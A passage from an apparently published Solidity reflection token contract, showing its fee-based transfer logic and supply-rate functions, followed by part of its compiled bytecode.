require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 5);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103ca578063d543dbeb146103fa578063dd62ed3e14610416578063f2cc0c1814610446578063f2fde38b14610462578063f84354f11461047e5761014d565b8063715018a6146103065780637d1db4a5146103105780638da5cb5b1461032e57806395d89b411461034c578063a457c2d71461036a578063a9059cbb1461039a5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a657806370a08231146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c57806313114a9d146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612da5565b61049a565b005b6101766105ff565b604051610183919061309f565b60405180910390f35b6101a660048036038101906101a19190612d69565b610691565b6040516101b39190613084565b60405180910390f35b6101c46106af565b6040516101d19190613281565b60405180910390f35b6101e26106b9565b6040516101ef9190613281565b60405180910390f35b610212600480360381019061020d9190612d1a565b6106d5565b60405161021f9190613084565b60405180910390f35b610242600480360381019061023d9190612da5565b610853565b60405161024f9190613281565b60405180910390f35b6102606108ba565b60405161026d919061329c565b60405180910390f35b610290600480360381019061028b9190612d69565b6108d1565b60405161029d9190613084565b60405180910390f35b6102c060048036038101906102bb9190612dce565b61097d565b6040516102cd9190613281565b60405180910390f35b6102f060048036038101906102eb9190612cb5565b610a11565b6040516102fd9190613281565b60405180910390f35b61030e610afc565b005b610318610c36565b6040516103259190613281565b60405180910390f35b610336610c3c565b6040516103439190613069565b60405180910390f35b610354610c65565b604051610361919061309f565b60405180910390f35b610384600480360381019061037f9190612d69565b610cf7565b6040516103919190613084565b60405180910390f35b6103b460048036038101906103af9190612d69565b610e69565b6040516103c19190613084565b60405180910390f35b6103e460048036038101906103df9190612cb5565b610e87565b6040516103f19190613084565b60405180910390f35b610414600480360381019061040f9190612da5565b610edd565b005b610430600480360381019061042b9190612cde565b610f8e565b60405161043d9190613281565b60405180910390f35b610460600480360381019061045b9190612cb5565b611015565b005b61047c60048036038101906104779190612cb5565b6112b0565b005b61049860048036038101906104939190612cb5565b611459565b005b60006104a4611827565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a90613241565b60405180910390fd5b600061053e8361182f565b50505050905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058f91906133b4565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806009546105e091906133b4565b60098190555082600a546105f491906132d3565b600a81905550505050565b60606006805461060e90613470565b80601f016020809104026020016040519081016040528092919081815260200182805461063a90613470565b80156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b5050505050905090565b60006106a561069e611827565b8484611887565b6001905092915050565b6000600a54905090565b6000633b9aca006402540be4006106d0919061335a565b905090565b60006106e2848484611a52565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072b611827565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f906131a1565b60405180910390fd5b610848846107b4611827565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107fe611827565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084391906133b4565b611887565b600190509392505050565b600060095482111561089a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610891906130e1565b60405180910390fd5b60006108a4611f2a565b905080836108b29190613329565b915050919050565b6000600860009054906101000a900460ff16905090565b60006109736108de611827565b8484600360006108ec611827565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096e91906132d3565b611887565b6001905092915050565b6000633b9aca006402540be400610994919061335a565b8311156109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd90613161565b60405180910390fd5b816109f55760006109e68461182f565b50505050905080915050610a0b565b6000610a008461182f565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610aac57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610af7565b610af4600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610853565b90505b919050565b610b04611827565b73ffffffffffffffffffffffffffffffffffffffff16610b22610c3c565b73ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f906131c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610c7490613470565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca090613470565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b600060036000610d05611827565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690613261565b60405180910390fd5b610e5f610dca611827565b848460036000610dd8611827565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5a91906133b4565b611887565b6001905092915050565b6000610e7d610e76611827565b8484611a52565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ee5611827565b73ffffffffffffffffffffffffffffffffffffffff16610f03610c3c565b73ffffffffffffffffffffffffffffffffffffffff1614610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f50906131c1565b60405180910390fd5b606481633b9aca006402540be400610f71919061335a565b610f7b919061335a565b610f859190613329565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101d611827565b73ffffffffffffffffffffffffffffffffffffffff1661103b610c3c565b73ffffffffffffffffffffffffffffffffffffffff1614611091576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611088906131c1565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561111e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111590613141565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111f2576111ae600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610853565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112b8611827565b73ffffffffffffffffffffffffffffffffffffffff166112d6610c3c565b73ffffffffffffffffffffffffffffffffffffffff161461132c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611323906131c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613101565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611461611827565b73ffffffffffffffffffffffffffffffffffffffff1661147f610c3c565b73ffffffffffffffffffffffffffffffffffffffff16146114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc906131c1565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890613141565b60405180910390fd5b60005b600580549050811015611823578173ffffffffffffffffffffffffffffffffffffffff16600582815481106115c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611810576005600160058054905061161d91906133b4565b81548110611654577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600582815481106116b9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060058054806117d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611823565b808061181b906134a2565b915050611564565b5050565b600033905090565b600080600080600080600061184388611f4e565b915091506000611851611f2a565b905060008060006118638c8686611f8b565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ee90613221565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90613121565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a459190613281565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab990613201565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b29906130c1565b60405180910390fd5b60008111611b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6c906131e1565b60405180910390fd5b611b7d610c3c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611beb5750611bbb610c3c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c3657600b54811115611c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2c90613181565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611cd95750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cee57611ce9838383611fd4565b611f25565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d915750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611da657611da1838383612212565b611f24565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e4a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e5f57611e5a838383612450565b611f23565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f015750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f1657611f11838383612600565b611f22565b611f21838383612450565b5b5b5b5b505050565b6000806000611f376128cc565b915091508082611f479190613329565b9250505090565b60008060006005606485611f629190613329565b611f6c919061335a565b905060008185611f7c91906133b4565b90508082935093505050915091565b6000806000808487611f9d919061335a565b905060008587611fad919061335a565b905060008183611fbd91906133b4565b905082818395509550955050505093509350939050565b6000806000806000611fe58661182f565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203a91906133b4565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c891906133b4565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215691906132d3565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121a38382612c4a565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122009190613281565b60405180910390a35050505050505050565b60008060008060006122238661182f565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227891906133b4565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230691906132d3565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239491906132d3565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e18382612c4a565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161243e9190613281565b60405180910390a35050505050505050565b60008060008060006124618661182f565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b691906133b4565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254491906132d3565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125918382612c4a565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125ee9190613281565b60405180910390a35050505050505050565b60008060008060006126118661182f565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266691906133b4565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f491906133b4565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278291906132d3565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281091906132d3565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285d8382612c4a565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128ba9190613281565b60405180910390a35050505050505050565b600080600060095490506000633b9aca006402540be4006128ed919061335a565b905060005b600580549050811015612bf05782600160006005848154811061293e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612a5257508160026000600584815481106129ea577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612a7b57600954633b9aca006402540be400612a6f919061335a565b94509450505050612c46565b6001600060058381548110612ab9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612b2a91906133b4565b92506002600060058381548110612b6a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612bdb91906133b4565b91508080612be8906134a2565b9150506128f2565b50633b9aca006402540be400612c06919061335a565b600954612c139190613329565b821015612c3d57600954633b9aca006402540be400612c32919061335a565b935093505050612c46565b81819350935050505b9091565b81600954612c5891906133b4565b60098190555080600a54612c6c91906132d3565b600a819055505050565b600081359050612c8581613969565b92915050565b600081359050612c9a81613980565b92915050565b600081359050612caf81613997565b92915050565b600060208284031215612cc757600080fd5b6000612cd584828501612c76565b91505092915050565b60008060408385031215612cf157600080fd5b6000612cff85828601612c76565b9250506020612d1085828601612c76565b9150509250929050565b600080600060608486031215612d2f57600080fd5b6000612d3d86828701612c76565b9350506020612d4e86828701612c76565b9250506040612d5f86828701612ca0565b9150509250925092565b60008060408385031215612d7c57600080fd5b6000612d8a85828601612c76565b9250506020612d9b85828601612ca0565b9150509250929050565b600060208284031215612db757600080fd5b6000612dc584828501612ca0565b91505092915050565b60008060408385031215612de157600080fd5b6000612def85828601612ca0565b9250506020612e0085828601612c8b565b9150509250929050565b612e13816133e8565b82525050565b612e22816133fa565b82525050565b6000612e33826132b7565b612e3d81856132c2565b9350612e4d81856020860161343d565b612e5681613578565b840191505092915050565b6000612e6e6023836132c2565b9150612e7982613589565b604082019050919050565b6000612e91602a836132c2565b9150612e9c826135d8565b604082019050919050565b6000612eb46026836132c2565b9150612ebf82613627565b604082019050919050565b6000612ed76022836132c2565b9150612ee282613676565b604082019050919050565b6000612efa601b836132c2565b9150612f05826136c5565b602082019050919050565b6000612f1d601f836132c2565b9150612f28826136ee565b602082019050919050565b6000612f406028836132c2565b9150612f4b82613717565b604082019050919050565b6000612f636028836132c2565b9150612f6e82613766565b604082019050919050565b6000612f866020836132c2565b9150612f91826137b5565b602082019050919050565b6000612fa96029836132c2565b9150612fb4826137de565b604082019050919050565b6000612fcc6025836132c2565b9150612fd78261382d565b604082019050919050565b6000612fef6024836132c2565b9150612ffa8261387c565b604082019050919050565b6000613012602c836132c2565b915061301d826138cb565b604082019050919050565b60006130356025836132c2565b91506130408261391a565b604082019050919050565b61305481613426565b82525050565b61306381613430565b82525050565b600060208201905061307e6000830184612e0a565b92915050565b60006020820190506130996000830184612e19565b92915050565b600060208201905081810360008301526130b98184612e28565b905092915050565b600060208201905081810360008301526130da81612e61565b9050919050565b600060208201905081810360008301526130fa81612e84565b9050919050565b6000602082019050818103600083015261311a81612ea7565b9050919050565b6000602082019050818103600083015261313a81612eca565b9050919050565b6000602082019050818103600083015261315a81612eed565b9050919050565b6000602082019050818103600083015261317a81612f10565b9050919050565b6000602082019050818103600083015261319a81612f33565b9050919050565b600060208201905081810360008301526131ba81612f56565b9050919050565b600060208201905081810360008301526131da81612f79565b9050919050565b600060208201905081810360008301526131fa81612f9c565b9050919050565b6000602082019050818103600083015261321a81612fbf565b9050919050565b6000602082019050818103600083015261323a81612fe2565b9050919050565b6000602082019050818103600083015261325a81613005565b9050919050565b6000602082019050818103600083015261327a81613028565b9050919050565b6000602082019050613296600083018461304b565b92915050565b60006020820190506132b1600083018461305a565b92915050565b600081519050919050565b600082825260208201905092915050565b60006132de82613426565b91506132e983613426565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561331e5761331d6134eb565b5b828201905092915050565b600061333482613426565b915061333f83613426565b92508261334f5761334e61351a565b5b828204905092915050565b600061336582613426565b915061337083613426565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a9576133a86134eb565b5b828202905092915050565b60006133bf82613426565b91506133ca83613426565b9250828210156133dd576133dc6134eb565b5b828203905092915050565b60006133f382613406565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561345b578082015181840152602081019050613440565b8381111561346a576000848401525b50505050565b6000600282049050600182168061348857607f821691505b6020821081141561349c5761349b613549565b5b50919050565b60006134ad82613426565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134e0576134df6134eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c7564656420616464